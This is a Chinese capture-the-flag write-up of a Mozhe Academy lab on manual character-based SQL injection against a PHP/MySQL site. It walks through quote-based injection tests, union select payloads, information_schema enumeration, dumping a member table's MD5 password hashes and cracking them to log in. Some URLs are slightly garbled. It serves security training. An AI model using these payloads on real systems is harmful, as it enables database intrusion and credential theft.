SQL手工注入漏洞测试(MySQL数据库-字符型)-墨者


---------靶场专栏---------


声明:文章由作者weoptions学习或练习过程中的步骤及思路,非正式答案,仅供学习和参考。

靶场背景:

来源:

墨者学院

简介:

安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MySQL,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

实训目标:

1.掌握SQL注入原理;

2.了解手工注入的方法;

3.了解MySQL的数据结构;

4.了解字符串的MD5加解密;

解题方向:

手工进行SQL注入测试,获取管理密码登录。


解题思路:

这是字符型注入,可能会涉及到注释字符,嗯~ o(* ̄▽ ̄*)o,MD5肯定就是MD5加密喽~

先找到注入点,再用语句尝试查询数据库信息,再用select查找我们所需要的管理员登陆信息。


解题步骤:

一、找到注入点

靶场~启动!!!(我的三个币啊/(ㄒoㄒ)/~~)

.

这里有个停机维护的通知,我们点进去看一眼。

http://124.70.91.203:49986/new_list.php?id=tingjigonggao

找到了,id=tingjigonggao,这可能是一个注入点,尝试一下。

http://124.70.91.203:49986/new_list.php?id=tingjigonggao' and '1'='1

输入后页面正常显示,因为sql语序检查的是一个字符串,而字符串的表示为'text',用单引号括起来的。假如此网站sql语句为 (瞎写的,不知道对不对)

$id = $_GET 'id'

$SQL = select * from user where id = $id

那么原来输入的就是

SQL =_GET select * from user where id='tingjigonggao'

我们验证时输入的是

SQL =_GET select * from user where id='tingjigonggao' and '1'='1'

这时候正常显示,说明我们的注入语句是正确的,再尝试'tingjigonggao' and '1'='2',验证注入点到底是不是在这里。

http://124.70.91.203:49986/new_list.php?id=tingjigonggao' and '1'='2

OK,(机智.jpg)说明注入点就是在id = ' ' 这里。


二、order by猜字段

有点繁琐,直接把最终url信息发出来了。

124.70.91.203:49986/new_list.php?id=?id=-1' union select 1,2,3,4'

order by 可以查询数据表的字段数量,一来可以找到有回显的字段,二来方便摸清正在访问的数据表中有几个列。

根据结果显示,正在访问的数据表有四个列,其中有第二列和第三列是有回显的。


三、查询数据库信息

version() 数据库版本

database() 数据库名称

user() 数据库用户

@@version_compile_os 操作系统

例:

124.70.91.203:49986/new_list.php?id=?id=-1' union select 1,version(),3,4'

我们拿到的信息为

数据库版本:10.2.15-MariaDB-log

数据库名称:mozhe_discuz_stormgroup

数据库用户:root@localhost

操作系统:Linux

可以看到是root账户,管理员账户,是有权限进行增删改查和其他操作的。嗯?我们题目不是mysql数据库吗?管他呢。可以理解为MariaDB是mysql的升级版(其实不是),向下兼容。


四、查数据库表

MySQL高版本(5.0以上)都有一个称为information_schema的数据库,其中存放着数据库所有的表名和列名信息。我们去查查看一下。

124.70.91.203:49986/new_list.php?id=?id=-1' union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'--+

解析为,查 "表名" 来自"information_schema数据库下面的tables表" 限定为 数据库名="mozhe_discuz_stormgroup"。后面的"--+","--"是注释后面的符号,"+"代表的是空格

我们再用group_concat()函数将所有都展示出来。

124.70.91.203:49986/new_list.php?id=?id=-1' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'--+

五、查询用户信息表

用户信息就在stormgroup_member(译为风暴组成员),notice(注意)里面是没有的,别问,问就是试过了。

开叉,呸~,开查!!!

124.70.91.203:49986/new_list.php?id=?id=-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='stormgroup_member'--+

id,name,password,status

至此我们拿到的信息为mozhe_discuz_stormgroup数据库下面有个数据库表stormgroup_member下面有数据库列id,name,password,status。

接下来,我们就去mozhe_discuz_stormgroup数据库下的stormgroup_member表查name,和password就行了。


六、查用户数据

url码为:

124.70.91.203:49986/new_list.php?id=?id=-1' union select 1,group_concat(name),group_concat(password),4 from stormgroup_member--+

拿到两个账号和密码

①mozhe,356f589a7df439f6f744ff19bb8092c0

②mozhe,a8eed3d6ee9831d950d5b4dc2e27e506

密码进行MD5解密后为

①mozhe,dsan13

②mozhe,437917

md5在线解密破解,md5解密加密


七、登陆尝试

①mozhe,dsan13

②mozhe,437917

成功拿到key。


总结:

难度:★★★☆☆☆☆☆☆☆

**解析:**本身难度不是很高,但是手工注入容易出错(字母不好打对),熟练就好了。

有需要工具的请私信。


相关推荐
月光水岸New2 小时前
Ubuntu 中建的mysql数据库使用Navicat for MySQL连接不上
数据库·mysql·ubuntu
狄加山6752 小时前
数据库基础1
数据库
我爱松子鱼2 小时前
mysql之规则优化器RBO
数据库·mysql
chengooooooo2 小时前
苍穹外卖day8 地址上传 用户下单 订单支付
java·服务器·数据库
Rverdoser3 小时前
【SQL】多表查询案例
数据库·sql
Galeoto3 小时前
how to export a table in sqlite, and import into another
数据库·sqlite
人间打气筒(Ada)4 小时前
MySQL主从架构
服务器·数据库·mysql
leegong231114 小时前
学习PostgreSQL专家认证
数据库·学习·postgresql
喝醉酒的小白4 小时前
PostgreSQL:更新字段慢
数据库·postgresql
敲敲敲-敲代码4 小时前
【SQL实验】触发器
数据库·笔记·sql